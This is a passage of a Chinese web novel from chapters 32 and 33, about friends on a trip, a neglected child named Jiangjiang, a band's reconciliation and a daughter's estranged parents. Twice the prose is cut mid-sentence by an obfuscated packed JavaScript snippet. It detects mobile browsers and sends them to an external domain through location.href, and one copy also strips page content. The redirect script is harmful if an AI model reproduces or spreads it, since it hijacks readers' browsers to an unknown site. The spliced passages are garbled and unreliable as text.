黄栀子没有。 她是停下来,脱掉了脚上的人字拖,把挂在自行车锁上。光着脚,开始继续走。 那条步道很干净。 即便干净,余温应该不低,昭岁不觉得赤脚走路是见从容的事情。 可黄栀子的迈步更大了。 昭岁跟在后头,一直走一直走。 穿过一条街道,继续走。 手机又有消息蹦出来。 桂花糕:很急。 昭岁想打字,却发现黄栀子不见了。她慌张,去四下探一眼,好在看见了,黄栀子正在过马路。 追不上红绿灯了。 桂花糕:算哥求你。 昭岁:我爸知道吗? 桂花糕:不知道。 昭岁:我妈知道吗? 桂花糕:不知道。 昭岁看着,松了一口气,把桂花糕的消息设置成了免打扰。 黄栀子已经到对面去了。 昭岁落后了一个红灯的时间。 她需要很用心的走才能跟上黄栀子。她的目光紧跟着黄栀子,已经走到百米开外的位置。 再次抬头看红灯,还剩一分钟。 昭岁突然不想等了,她怕跟丢了黄栀子。其实她不清楚为什么一定要跟着黄栀子。 总之,她开始狂奔。 在街道上。 步道似乎还是黏鞋,可也不影响她抬足,越跑越快。 越跑越快。 汗水下来,有点辣,可她依旧追随着黄栀子,不离片刻。步道越来越黏,抬脚更轻松。 她到达了下一个红路灯的地方。 这是黄灯,,还有三秒。惊悚的三秒。 她在不知道下一个是红灯还是绿灯。 有必要等三秒吗? 她想着,又开始跑起来,不去回头看到底是什么颜色的灯变化。 终于,她跑到了和对面的黄栀子一样的距离。 很轻松,很惬意地走着,她们隔了一条马路并肩。 终于又逢到下一个绿灯。 昭岁跑过去,喘气不止,追上了黄栀子。她为刚才差点跟丢而恐惧,不想再错过重逢的机会,直接上前打招呼。 她说:“我们见过。” 黄栀子停下来,看她:“噢,对。” 昭岁说:“谢谢你。” 黄栀子问:“谢什么?” 昭岁说:“谢谢你陪着走那段路,到洞穴那里为止。” 黄栀子笑:“就为这事?” “不止,”昭岁还在喘气,已经笑了起来,她很开心,问话很唐突,但她就这么问了,“我想和你一起散步,可以吗?” 黄栀子正想开口,昭岁抢答道:“其实我已经跟了你一路了,如果你不同意,我立马停止,并且道歉。” “那你道歉吧。”黄栀子说。 “啊?”昭岁真没想到是拒绝,她呐呐道,“对不起。” 黄栀子点点头,继续走。 昭岁站在原地。看她走了两步,又跟了上去。黄栀子停下来看她。 意思明显:不是说停止吗? “为什么拒绝呢?” “询问的时候,不就该会有两种答案吗?” “我以为吃蘑菇那次……” “那也不代表我一定要答应你。”黄栀子打断她,“你应该一开始就上来问候,而不是这样让我们重新认识。” 面前的女人从容又坚固,比起漂浮和登山的自然力,更具有攻击性,坦坦荡荡的。只此一句,昭岁大败,她从未感受过如此绝望的失落。 因为自己。 她不后悔刚才的奔跑,后悔的是黄栀子上岸前的等待。徘徊在岸上时,她按耐住好久好久,是不是该冲过芦苇丛,跳下水里和她感受同一片江的温暖呢?或许,能在流动中实现真实的相通。 她太无礼了。 _ 姜姜吃完后,映年和咚咚告别仙儿。 仙儿打包了一份巴斯克,让映年带回去给妹妹。映年和咚咚出门,跟在姜姜身后。 姜姜往公交车站走,去赶一辆公交车,正好追上了。映年和咚咚离得远,没能赶上。正想着要不要为姜姜“破戒”,叫个出租车,面前停了一辆面包车。 重新坐上车,仙儿驾驶跟在公交车后面。 咚咚加了阿雨的联系方式,发消息没回,电话过去没接。不知道姜姜到底什么情况,只能亦步亦趋跟在后面。 仙儿说:“要不直接给她妈打个电话问问?店里她妈积分过。” 映年说:“你不早说。” 咚咚则道:“打过去误会多尴尬,好歹是你会员顾客。” 最后仙儿没打。于是三人继续跟着。 每次到车站时,面包车都停下,去看下车的乘客有没有姜姜。终于到了一个桥边,姜姜下车了。 仙儿立马停靠在路边,让映年二人下车,她去找停车位。 映年和咚咚跟在姜姜后面,就怕姜姜往桥下钻,好在姜姜走进了一个小区。仙儿跟着过来了,她刚联系了店员查看会员的住址。 “她家就在这。”仙儿说,缓了口气,“还好还好。” 这口气叹完,三人看着小区挂着的“恭迎业主回家”的横幅,沉默了。 还好什么? 这哪里好了。 32.第 32 章 打包的食物重新进了昭岁的嘴里,近乎狼吞虎咽般再往里塞。她有被飞溅的辣椒浮粉呛到,咳嗽的时候,眼泪要飙出来了,硬生生让她不断眨眼给挤了回去。 连咚咚都看不下去,去掏她面前的打包盒,被昭岁一拍掌打开,护崽一样护住,继续在啃肉骨头。 昭岁分不清是真想吃了,还是在较劲,生理有种饥饿感,充饥也好,不浪费也好,晚餐时难以下咽的统统咀嚼着。 吃得快,吐出来的骨头处理得还是很干净,一条一条的,不知道是不是因为冷掉了,才能吃得这么干净。 阿雨电话过来的时候,咚咚还坐在她对面,直接接通了电话。 没什么具体要聊的。阿雨在那头说是刚才老板开会呢,没法接电话,现在刚出实验室,看到咚咚的消息,回过来问姜姜到家没。咚咚说到家了。两人就没话聊了。 可也没挂断电话。 阿雨说:“我是从她姑姑那接的她,在山上,送回去她说要去妈妈爸爸家。” 地址和姜姜进小区是吻合的。 咚咚为这个打扰感到抱歉。阿雨表示没关系,默了一会儿说:“我们就是网友,她的具体情况我也不了解。” 阿雨那边又有点吵闹,她说着晚上加班,没再多聊,挂了电话。 咚咚点进阿雨的朋友圈。除了机车的照片,还有些在实验室的照片,各种容器和机器。往下翻,找到了两年前的照片,阿雨站在大学面前的合影,再往上一条是录取通知书。 “明天急嘛?”昭岁问。 “还早啊,还有十多天。”咚咚说。 “那再留一天。” “都玩够了啊。” “陪姜姜玩一天。”昭岁还以为咚咚会说:“那行,反正没事做。” “哎……没用。”咚咚语气疏离冷淡,和平时爱玩闹的不一样,冷漠得不像是她。 “怎么没用?”昭岁声音拔高了些。 “阿雨是在读博士呢。”咚咚点开,放大图片看文字,是博士录取通知书。 “啊?” “她和映年姐真的是同款。”咚咚感慨。她念职校的时候,玩机车的不在少数,大晚上轰轰轰的,吵死人。 “我在和你说姜姜的事情。”昭岁无奈。 “我说没用啊。”咚咚点开屏幕在看,有点兴奋,问,“映年姐平时也不聊聊大学的事情。” “她聊过……”昭岁想起上次吵架的时候,映年提到过“小组作业”,她去平台搜了一圈,全是牢骚,想必高分的背后也是一堆破事,估计说出来咚咚就没那么向往了,不过她没讲,她继续说姜姜的话题,“明天陪姜姜去玩怎么样?” 咚咚新添加了仙儿做好友,这个号不是工作号是私人号,她点开朋友圈去看信息,上一条是在两年前了,一张乐队的合照。是一点面包店没发。 “怎么样啊?” “你问过家长的意见吗?”咚咚开始认真思考昭岁的问题。 “还需要问她们吗?”昭岁想口出恶言,憋住了。 “那你问过姜姜吗?” “明天去问不就知道了。” “所以你没问。”咚咚说,“你的怜悯找个地方施展,可能对方压根不需要。” “不是怜悯。” “那是什么?你和她说的话,还没她和我说的多。今天不是这消息,你会去找她?” “我单纯想陪着孩子玩不行吗?” “我不清楚是不是黄栀子让你受挫了,但你没必要在姜姜身上来找价值。”咚咚正色,没再浇灌昭岁的天真,“你可以找找什么志愿服务,那可以释放。” “什么是找价值?”昭岁为咚咚的词语而窝火。 咚咚看她,没说话。 “她现在很需要人关怀。” “这是你一厢情愿以为的吧。” 昭岁看着咚咚,对咚咚的态度很费解。她口不择言:“我陪你也是一厢情愿吗?” “不是。” 咚咚像是想起来什么似的,真到了昭岁身旁,在昭岁勾起唇以为自己胜利时,咚咚把桌上的一个蛋糕盒子打开了,推到昭岁面前。 “给你带的蛋糕。”咚咚说,“你是不想呆在家而已吧。” 谁带的,谁让带的,不必说了。 昭岁吃了个哑炮。 _ 映年在大厅里打电话。 电话是以歌先打来的,问她情况。 映年在想该不该说仙儿问综艺的事情,以歌抢先她一步说有什么不能说的。 “你不介意吗?”映年问。 “介意什么?”以歌反问。 “你分明就是故意的,为什么吉他手找仙儿的学生?” “因为她很不错啊,也算是熟人。” “我不信你。” 以歌绝对是运筹帷幄的那个人,盼着仙儿来主动示好认错,同样不介意在手段上做得不好看,够用就行。 那头,以歌大笑:“我不介意的。” 同样,以歌可不介意,仙儿的“回心转意”是不是别有用心。她能承受一切。 哪怕仙儿给映年的故事里,完全割开了吵架的重要原因:仙儿把曲子单独售卖给了制作公司,让“可以歌”的发行被迫终止。 这笔钱,让面包店起来了。 仙儿有侥幸心,认为映年不知道。 “这不是背叛吗?”映年说。 “嗯,所以真珂不能接受。”以歌说。 “那她怎么让仙儿来问……”映年话卡了壳。 真珂对以歌是百分百的支持,如果以歌真的点头,真珂怕是不会否定。现在真珂表明态度后,让以歌来做决定。 “是,做朋友这些,我不介意的。”以歌说,“但做乐队,再回来,我要想想。” “为什么做朋友不介意?”映年问。 她觉得以歌的顺序搞反了。仙儿技术是顶好的,本来就缺个贝斯手,现在的吉他手又才磨合没多久,如果要从综艺中突围出来,要争名次,把仙儿吸纳回来才是正道。 “嗯……”以歌气音长长的,想了一会儿说,“我和真珂都有一套朋友准则,她那样,我这样,没有为什么。” 映年没说话。 “你也有啊,映年。你的标准更……具体”以歌斟酌了一下词,“我也没想到你会去。” “我一开始没想去的,她一直给我打电话。” “嗯,我会好好考虑的。” _ 面包车重新停在小区门口。 熄了火,驾驶座位置往后调。 仙儿半躺下来,点了根烟,没抽,看着烟在飘。她盯着前面不断摇摆的太阳花车饰,目光再往前探,那是一个喷泉。 有保安过来,仙儿重新启动车辆离开。 掉头到对岸车道,停在了停车位上。 仙儿沸腾起的愤怒,不止多是姜姜的境遇,更有对自己的懦弱。她在想,如果陪着过来的是以歌的话,会怎么样做?压根不会等到现在。 不需要多详实周密的计划,要去做,以歌便直接做了。 又去想,映年也在场,并没有受到以歌的勇气,同样和她一样在退场。这样想,仙儿好过些。 这份侥幸让她羞愧不已。现在也不晚,仙儿安慰自己。 她打开门,下了车。 往前走去。 _ 巴斯克蛋糕还原原本本摆在桌上。 映年踢踢垃圾桶,里面是昭岁吃光外卖盒,她坐在床上,打开手机在看“可以歌”的微博账号,最近更新是在上周,在一场地下演出后的合照。 “我想多留一天。”昭岁穿着睡衣,包着头从浴室里出来,在包里掏棉签。 “干什么?”映年问。 “陪姜姜。” “怎么想的?”映年和咚咚对视一眼。 “就是陪她玩一天。” “我问的是怎么想的?” “什么怎么想的,”昭岁的鞋踩得地板湿漉漉的脚印,她拿着毛巾擦头发,“这很难理解吗?” 映年想起以歌的话,稍稍动容:“如果这是你想的,那可以吧。” 昭岁对这个答案诧异,她停下动作看向映年,又瞥一眼咚咚。 “你把巴斯克吃了,放明早要坏了。”映年说。 “我不想吃,刚吃太多了,我怕晚上吐了。”昭岁拒绝,她翻着包,把护发精油拿出来,整个室内都有股椰子香味。 “那你吃吧。”映年对咚咚讲。 咚咚转头对昭岁说:“那我吃咯?” 昭岁闷闷“嗯”一声,她突然问:“你不喜欢花生豆浆吗?” 映年愣了一下,说:“还好,不讨厌。” “那你当时为什么不喝?” “什么?” “……没什么。” 昭岁没说了。 吃着蛋糕,咚咚问起仙儿的事情:“你姐怎么说?” “她原谅了。”映年说着,打开背包在找衣服,“这不是背叛吗?现在又来利用。” 咚咚说:“我觉得没什么。” “你当然觉得没什么。”昭岁说着,目光在咚咚和映年面前绕,话带着酸涩的气息,“她让你拍摄那场殴打,不也是一种利用吗?还能倒打一耙,说是泄密。” 映年把睡衣抽出来,她看向昭岁,目光又落在咚咚身上。 与她对视。 二人没说话。 昭岁往浴室里走,在未尽的水汽中,打开了吹风机,发出“呼呼”的吼声。 又燥又闷。 _ 仙儿站在车前,尚未踱半步。 手机突然响了一下,似乎如救命稻草一样,她想打开。 又停住。 停了片刻,认命般打开。 映年:仙儿姐,方便发一下姜姜家长的电话吗?给我一下。 仙儿提着的气没舒展开。 还得继续走。 没熄屏,有一条信息跳出来了。 抛来的不是救生圈,是再一次下压。她盼来想要的,却并没有因此舒缓。 以歌:可以,回来吧,我们的乐队。 仙儿看着,笑起来,眼泪唰唰留下来,张着嘴僵硬着,手脚发麻。 她清醒着让知道自己为什么不寒而栗:姜姜的境遇、映年的跟随、以歌的坦荡,还有她的视而不见。 从一开始,仙儿就知道的。白吃不可能不通知老板,她也清楚姜姜的情况。今天不是映年她们前去,仙儿也踌躇片刻,依旧跟着去了。到小区的地方,借口要停车,又让映年她们先行,等到对方没有动作时,才缓上一口气,往前去。 送完人回来,想想回去吧,回去吧。到了家门口,又调出导航,来到了姜姜小区门口。到小区门口,到现在,下车来,又不敢前去。 ——不该这样做的。成年人夜间敲门,太不理智,更不合规的。 不合规的。 是铁理,可仙儿受够了。 于是她下车来。 可又不足够勇气,往前再迈一步。 现在以歌的原谅,对于仙儿更像是利剑,使得愧疚的心情涌上。如果不是映年要跟着姜姜,仙儿长达五天的视而不见,不会被如此拆穿。 这份拆穿绝不是映年的本意,只是仙儿自己被剖开来了。就是非本意,才会让仙儿这般痛苦。 不是今天,可能这份仙儿求来的和好,或许她能平平坦坦的接受。她绝无可能说,这是惩罚。惩罚这场背叛。 她太粗劣了。 以歌坦荡,说话绝对算数,没有多藏的心机。恰恰因此,那头脑中冒出来的“以歌可能捉弄我”,她为这苟且的猜测,而产生愤怒。 同样,这份坦荡让仙儿感激不已。 不是宽恕她能重新进入乐队,如此一来让她不在大口呼吸,清晰的明白自己的虚伪,不用再装作义士上前一步了。 一种另类的解脱。 重新坐在驾驶座上,她新点燃了一支烟。纳入口中,大口的呼吸让烟气涌入肺部,她的手还在麻,连脸也开始麻,嘴却含着烟不动,有种燎过头皮的刺激感,这是她唯一能抓住的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114992|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她开始恍惚,眼泪再次裂开出来。为她的虚伪,为她的无耻。 _ 冰淇淋店里,昭岁和姜姜对坐着,在玩七巧板。姜姜对齐三角,搞不定,翻来覆去,拼不起来。 “我还以为你是姐姐呢。” “怎么这么想?” “你比较成熟吧。” 昭岁对这个形容很满意,她扬起嘴角,又问:“我更适合做姐姐是吗?” “也不是,”姜姜说,“你更能聊。” 昭岁的笑放了下去,这算什么理由。 姜姜问:“你想当姐姐吗?没做过。” 昭岁说:“可以啊。” 姜姜说:“嗯……这也不是你能决定的。” 昭岁在拼七巧板,没接话。不知道桌面是什么材料,板子覆在上面,她支架够长,却抠不起来。 “你后爸没孩子吗?” “……我就是啊。” “噢。” 姜姜看不下去了,帮她把板子抠起来,放在了剩下的缺口里。昭岁突然觉得这玩意够简单,她抬头去看姜姜,在想对方是不是早就清楚,在为了她陪玩姜姜的前置下反而过来陪她玩。 “后妈的那个姐姐怎么样?” “啊,噢。”昭岁不太适应把“沈烟”称作后妈,她纠正,“她没和我爸结婚,是在恋爱。” “不一样吗?” “当然不一样。”昭岁否认着,可真要说出不一样,又讲不出来。沈烟对祁孝逑的情分,连着帮了齐美裳和刘海洋,从这样来讲,远超女友的范畴,属于恩人的队列。 ……她自认没有能力办到沈烟的水准。 映年端着餐盘过来,她买了四份鲜芋仙,放在桌上。 “咚咚要来?”昭岁开心。 “阿风给我打了电话,她换班过来。”号码是陌生来电,映年还以为是骚扰电话,要知道,离职后她的手机完全死了,再也没嘈杂过,找她的除了推销骚扰没别的了。对面说是阿风,她反映了一会儿,在日期和机车的关键词下意识到是山上碰到捎了一程的橘毛。 形象比名字深刻。 三人吃着鲜芋仙,这家店是姜姜说要来的。她握着勺子,想吃,又有点拒绝,孩子不大,没忍住,还是吃了。 昭岁察觉道:“你来月经了吗?” “啊?不是。” “我这碗没加冰。” “不是月经。” 昭岁觉得姜姜是在不好意思,想主动换过来,姜姜托着碗沿不让她动。两人僵持着,昭岁哄她:“乖点。” “不是月经。”姜姜重复。 映年敲敲碗,示意昭岁。昭岁往眼神支会处看去,有个儿童乐园,怪不得这么吵。 她撒手了。 “那你想吃蛋糕吗?”昭岁又问。她感觉到映年放在她身上的眼神。 “可以吗?”姜姜问。 “当然可以。”昭岁说。 阿风来了,坐下来,姜姜的旁边。她全身汗涔涔的,穿的是带领的衬衫,胸前的logo是一家大型便利店的。她没客气,握着鲜芋仙的勺子就在吃。 “晚上我还得上班。”阿风说,“等会先送她回去。” “我还想玩滑板。”姜姜说。 “不行。”阿风说。 “我想玩。”姜姜看向映年。 映年说不上好,也拒绝不了。现在似乎阿风成了姜姜临时的家长。 “我们送她回去就行了。”昭岁说。 阿风的眼神变得古怪,她看一眼姜姜,还是问昭岁:“她家长怎么说的?” “安全送回家,让她打个电话。” “对。” “什么对?” “送她去姑姑家,才打电话。” 昭岁一时没说话,姜姜姑姑在山那头。她以为姜姜是在父母两家中穿梭。 “那我可以跟着你们一块旅游吗?”这次姜姜的目光投向昭岁。 事事必应的昭岁也哑口了。 “我想玩滑板。”姜姜问,这次加了一句,“可以吗?” “不可以。”阿风说,她拒绝得很果决,看着姜姜恹恹的脸,还是板着,但妥协了,“我让我对象替我上会儿,今天让你玩。” 映年这次想把滑板送给姜姜,她出发前就和以歌通了个电话,昭岁在一旁听着,听见了“同意”。可现在昭岁还不是太能理解,她没说话,按耐不住,抓着映年的手。 拒绝的还是阿风:“不行,那般路不平。” 何止是不平,简直崎岖。映年见过不少牛人,都不一定能冲那一段段坡。她放弃了。 “你很烦。”姜姜说。 阿风看她,不管她的责骂,只说:“任何以自我伤害求来的关注,都是不健康的,特别是在亲密关系中。” 姜姜头埋在碗里,吸溜吸溜地吸着芋圆。 昭岁扫了一圈三人,也低下头,目光在七巧板上,怎么抠也抠不上来。她心不在焉,不知道咚咚在干嘛。 外面天热,玩滑板太晒了。 映年找了一下城市里的室内池,就是必须未成年人有法定监护人。她有点烦,头一次觉得这要求不太爽。虽然很合理,她也是受益者。 点开滑板玩家群,她是管理员,加过不少板友,五湖四海的都有,便直接在群里问有没有池子可以玩,她愿意包场两小时。 昭岁看着映年聊,接了个电话就出去了。 回来时提上了滑板包,她说:“走。” 池外,阿风瞌睡上来了,耷拉着脑袋在睡觉。昭岁坐在椅子上,看映年教姜姜怎么荡来荡去。 没多久,映年上来了,她跑去仓库,拿了个滑板,站到昭岁身边:“来呗,不是想我教你玩吗?” 昭岁兴奋。 她兴奋地站上去,兴奋地跌倒了,又站起来。映年教学的时候,不像她平时那般冷漠,富有温柔的同理心,循循善诱。 姜姜摇着滑板呼啸而过时,昭岁有点感觉了,可她不想放开映年的胳膊。 她很喜欢让映年带着她前进。 33.第 33 章 出门旅游后,咚咚很久没痛快地睡到中午了。生活工作不是这样的,咚咚认为必须要睡到快中午的时间,才够。她在苦哈哈的学生时代,就暗暗发誓一定要这样,好在工作之后这点誓言,她实施得很完善。 咚咚趴在床上,刷了会儿手机,摸着眼镜,起来洗漱。刷牙的时候,她在看地图上的汽车体验店,找到一家,预约了试驾体验。 咚咚坐在驾驶座上,系好了安全带,听着销售介绍新车。功能完善,系统先进,价格不太美丽。 她问询是否能用相机拍摄,导购主动帮她固定了设备。 “平时是有想换新车吗?” “不是,我买不起。” “没关系的,总有买得起的时候。” “是,体验体验。” 扭动钥匙,放手刹踩油门,车出了停车场。咚咚开车很稳,她对路况不熟,导航是按照导购员固定的路线行驶,被精密的设计成了一个汽车品牌的logo形状。 导购还是尽职尽责地介绍车运转时的功能,咚咚也点头赞许,没提问,安静地听着说完。 重新回到原点时,她试着启动了自动停车的按钮,看着方向盘自动转动,车慢慢挪回了位置。 下车离开时,导购送给了她一个礼品纸袋,说着以后有购买需求的话可以再来。驾照上的住址,可不是这所城市。彼此都清楚,谁也没说开。 出来后,咚咚去商场吃了顿面包,又约了相机品牌店的无人机体验。 销售专业地教她怎么使用,介绍功能,同样问她要不要换个新相机。咚咚没说换,也没说不换,就说体验一把无人机。 试飞的地方可以在室外,她控制着操作器,仰头看飞起来的无人机,再低头看见屏幕中逐渐变小的自己。 这和手持着云台拍摄的体验不太一样。 很新奇。 太阳太大,她不敢持久地望向天,只能眯着眼睛看屏幕。画面太小,又背光,其实已经看不清屏幕里的自己了。 天热太热,时间不能太久,很快就降落下来。 她盯着机器,反复确认了价格,还是没狠心买下来。 结束后咚咚没立刻走,在相机店呆了一会儿,又看着货架上的相机,等体温降下来,重新坐在待客的沙发上。 比起汽车的价格,似乎无人机的价格就很好接受。这有什么好比的。 唯一能有立马兑换的消费,是面包的试吃。填饱肚子才是刚需。 咚咚坐了一会儿,出门去了家体彩店。她把纸袋里的新伞和水瓶拿出来,问能不能换二十块钱的刮刮乐,老板拒绝了。她不嫌热,沿着街跑了几家,终于有人肯了,不过只换十块钱的。这次咚咚不满意,她继续逛,直到有家店愿意。 刮的时候,她没当着老板的面刮,拿了就离开。她怕真中大奖了老板后悔。 重新进商场找了家咖啡坐下,把镜头盖取下来,拿着刮。要先刮数字,看到下面一排的金额,才能满怀希望,慢慢地刮开。等到刮图案时,停下来,缓口气。 电话突然响起来。 她烦,没打算接,翻开看是三姥姥。 这个点正好是备餐的时候,到底是担心老太太摔倒了,咚咚接通了。 三姥姥在那头声音的健康,听不出来有恙。 “你到哪了?” “还没走呢。” “怎么还没走。” “有点事。” “你给你妈打电话没?” “没。” “你记得给她打一个。” “……她怎么不给我打。” “你给她打不一样吗?” “当然不一样,一个是妈妈给闺女打,一个是闺女给妈妈打。” 同样的句式,让三姥姥沉默了。 “挂了。” “等会儿。” “还有事吗?” 三姥姥开始聊穿衣的情况,又问她出门吃什么,再去说城管赶人的事情,变得絮絮叨叨起来。 “你想说什么?”咚咚转着镜头盖,百无聊赖。 “就和你聊聊天。”三姥姥说。 往日,这番欲言又止绝对有事。 “马铁找你了?”咚咚生气。 “不是他。” “我给你拉黑了,他上门来了?” “不是他。” “他要是给你钱,你收着也行,那是怕佛祖保佑我妈,来咒死他,该得的安心钱。要找你要,你不能给。” “都说了不是他。” 咚咚不管,已经决定电话过去,大骂一顿马铁了。 三姥姥说:“开店的事情,姥姥对不起你。” 镜头盖在桌上打转,咚咚扣住了。 忏悔总得有个理由吧?比起接受,她更慌张。 “你咋了?” “没什么。” “体检有问题?” “没有,还没去呢。” “约的哪天,我叫人陪你去。”咚咚拿着手机在翻微信列表,想起欠人情的黄柠檬,她俩也没那么熟,可麻烦她比麻烦其她朋友方便,“我让人联系你,叫她小黄就行。” “……不用那么麻烦,我让你贵发哥陪我就行。” “他养好了?” “嗯。” 咚咚觉得桂花糕极度不靠谱,还是说:“不行,找个女孩方便点。” “又不需要什么贴身服务。” 两人掰扯了一阵,三姥姥挂了电话。咚咚重新把电话拨出去,马铁接通了,叫了声“冬冬”,咚咚不爽,输出一顿。 “昨天我去见了你妈妈。” “梦见菩萨,说是见到我妈了,是吧?” “我现在还在蝉市,刚下山。” 咚咚沉默了。 “我也没想过这样的。”马铁说。 “你功德箱投了多少钱?”咚咚问。 “没有,我是单纯去看看她。” “那你哪来的脸啊?” 这会儿,轮到马铁沉默了。 “冬冬,爸爸很多时候确实不对,我向你们母女俩道歉。” “那我没钱了,你转我点钱。”咚咚报了个数字,正好是今天试驾的车钱,“我也该买个车了。” “冬冬……”马铁唤了一声。 咚咚挂断电话。 镜头盖还拿在手头,她继续刚才的刮奖仪式,一格一格慢慢刮开上面图案。啊,中了! 十块钱! 尽挣十块钱呢。 她看着刮刮乐心情大好,决定贴点钱,买杯咖啡喝。 点单时,手机收到了银行的转款,金额数字是刚才报出的零头。紧接着是一条短信。 马铁:小孩拿这么多可支配的钱,不太好。要买车,回来爸爸带你去。 咚咚看着,决定再点一个蛋糕。 马铁的参与,对她基本不会产生太大的波澜了。但他讲去过寺庙,见过齐美玉,前面又有三姥姥叮嘱电话,她心跳难平。 关于开店的事情,去年就在计划了。齐美玉没说同意,也没说不同意。咚咚让她看看该卖点什么品类,齐美玉让她自己决定。咚咚又让她过来看看选址,齐美玉又说都不错。这搞得咚咚很生气,问齐美玉“当空姐好还是当服务员好”,她的回答还是中立:“各有各的好,各有各的难。” 齐美玉的性格就在有信仰之后变的。 她一辈子没什么稳定的工作,总在创业的路上。年轻时候觉得熟悉果园,盘了店卖水果,生意还行,她有点钱就开始折腾,亏的多,挣得少,可马铁搞金融的,工资尚能维持的一家平衡。 中年投资做了网商,想着做了果干的行业,还盘个工厂,也算是有声有色。富裕的那两年,咚咚书包上的铭牌都是黄金片做的。 三姥姥一直觉得是杨梅园开发,偏了齐美玉的财运。转折点就在那个时期,网商竞争激烈,频繁被人举报,工厂又出情况,渐渐萎靡下来,关停了。就做线下,还有水果店撑着,但生意也一般了,家里就吃好多烂水果,咚咚就是那会儿胖起来的。 真正的打击是齐美玉想要东山再起时,马铁投资理财的暴雷,不止存款,连房产都赔进去了。 那会儿正是咚咚初中毕业的关键时刻,咚咚成绩很一般,本聊好了,计划好了送去二中,花点钱也没关系的。这一出,资金突然断了,咚咚没学上了。临到缴费时,家里真还硬挤钱,送咚咚去了二中。 自那之后,家里的争吵就开始不间断。 没过多久,离婚了。咚咚退学去职高,齐美玉则正正经经地去坐班,马铁却赶上一批项目乘风而起。双方都想让咚咚重新念书,咚咚拒绝了。齐美玉劝她:“别较劲了。”咚咚不说话。 再后来,齐美玉去了佛寺修养。 今年除夕,齐美玉没回家。咚咚和三姥姥张罗了一大桌饭,最后拿去分给楼下独居的邻居。她喝了点酒,电话打过去,说完祝福,委屈起来,哭着撒娇,又开始咒骂,说着“佛祖不会原谅你”“赎罪怎么能这样”之类的话。三姥姥在外头听着,骂她怎么可以这么和妈妈讲话,咚咚把门锁上,刺激得骂得更大声。 大年初一那天,家里不上坟,不用为了这事早起。三姥爷死后,三姥姥秉持抠搜的性子,哪可能给买坟。骨灰被三姥姥半夜偷摸埋在杨梅园的地址,也就是公园。按理说骨粉开花最翘,没想到上面的梅花树枯死了。原来是排水系统的问题,下面涝根,再重装排水系统,给挖了出来,整个陶罐都碎了,更别说里面有没有三姥爷了。 大年初一照样要出摊。咚咚把手机电充上,备餐出来,吃午饭间,三姥姥在后悔昨天把菜全给邻居了,这一点都不好,也没说今天上门拜拜年。她表面上在责怪邻居的孩子不懂事,实际上在点咚咚。 咚咚听着,没反驳,去把放在床头充好的手机拿出来。她打开微信,有不少祝福,往下翻,点开齐美玉的界面。 聊天记录显示通话中断,只有三分钟。她突然松了一口气,还好没电了。 自那之后,咚咚再也没和齐美玉通过一次电话。她想看谁先低头,谁在心中谁的心中更重要,赌注就是谁的铃声先响起来。 咚咚赢了。 齐美玉电话过来,说:“我决定出家了。” 是通知,不是征求意见。 咚咚觉得真扯淡。 她挂了电话,半夜睡不着,翻来覆去的,最后在微信留言:我还没原谅你呢。 真到睡醒,发现撤回不了。她不时看看,齐美玉是怎么样的答案。 到现在,齐美玉都没回复。 _ 老板没收映年的钱,她想干脆把滑板当抵押,还是被拒绝了。两人没见过,中间的枢纽隔了两个朋友,映年知道她的姓,她知道映年的名。 老板姓秦,群里管她叫老秦,实际上年纪远没到老的地步,至多四十岁,行事作风很成熟,会招待人。映年看视频照片,感觉风格很像是律政界的,穿着一身西装踩在滑板上,又商务又街头。 和映年打招呼时,还提过一嘴上次看到有朋友的vlog里映年穿着西装,问她为什么不试试西装滑着玩。映年笑说穿着西装蹲不下去啊。老秦叉着腰直笑。 两人交流了一会儿地貌和滑板玩法,说起圈里共同的好友,惋惜谁谁退圈了。伤病问题多,主动离开的也多,真像老秦一样把爱好做成职业的屈指可数。 “我看你断更好久了,也不是不玩了,怎么不发?”老秦问映年。 “毕业了,没时间。”映年说。 “那确实。”老秦点点头,又说,“工作很忙吗?” “没工作了。” “那可以玩起来了。” 映年没好意思说之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老秦:就在我店子里来吃,让大家各自带点东西来就行。 映年:不好吧……说了请客。 老秦:有什么不好,你不是刚工作吗? 老秦:真想请客,你多带点就行。 没等映年拒绝,老秦直接在群聊里重新宣布了这场安排。 映年还人情的计划被取消,她有点过意不去。 映年:我还是觉得不好。 老秦:得了吧,你是没和我们市的人一块吃过,那帮人真不客气。 老秦:听姐姐的话哈。 映年:……那我要带朋友一块来。 老秦:行,我看你妹挺有天赋的。 这话里的妹妹,显然不是谨小慎微的昭岁。 映年看着对面吃蛋糕的姜姜,她脸上占了一圈糖霜,小口小口地抿着勺子。比起池里玩得大胆形象,显得可爱。 反而让气堵住了。 昭岁回来了,拎着一个大背包,要拿给姜姜。阿风担心是什么玩具,开包检查,发现一整个包都是卫生巾。 “我真没来月经。” “总会用上的,更方便。” 姜姜这次没拒绝了。 临到离开前,仙儿都没来店里,阿雨却来了。她让阿风回去休息,她来送姜姜回去。 一行人在蛋糕店告别了。 二人怅然若失。 _ 离晚饭还有一阵儿,昭岁约了服装租赁,让咚咚一块汇合。 一排排服装,比古镇碰见的汉服陈列多,质量更好,可供挑选的也多。不止是约了咚咚的,定了三人的名额。 说起来,出门这么多天,三人还没一起合影过。这会儿映年没推拒,换好衣服一起去了摄影地。 昭岁早有预谋,找到了一组搞怪的姿势,让三人来做。她们自带相机,就没请人,架着三脚架在拍。 多数时候是让咚咚站在中心的位置,映年和昭岁心照不宣的,不想让咚咚觉得自己是多余的。有时候的姿势只需要两个人完成,三人便轮流着拍,查看相册的时候,各自心中都发现了这份刻意。 于是她们都笑了。 接下来的拍照,似乎默认着更自在了些。没再恪守着中心原则,也没一定要都来一套。 “我看你和乐队合影,经常站在中间。”昭岁说。 “是嘛……粉丝都站在中间。”映年说。 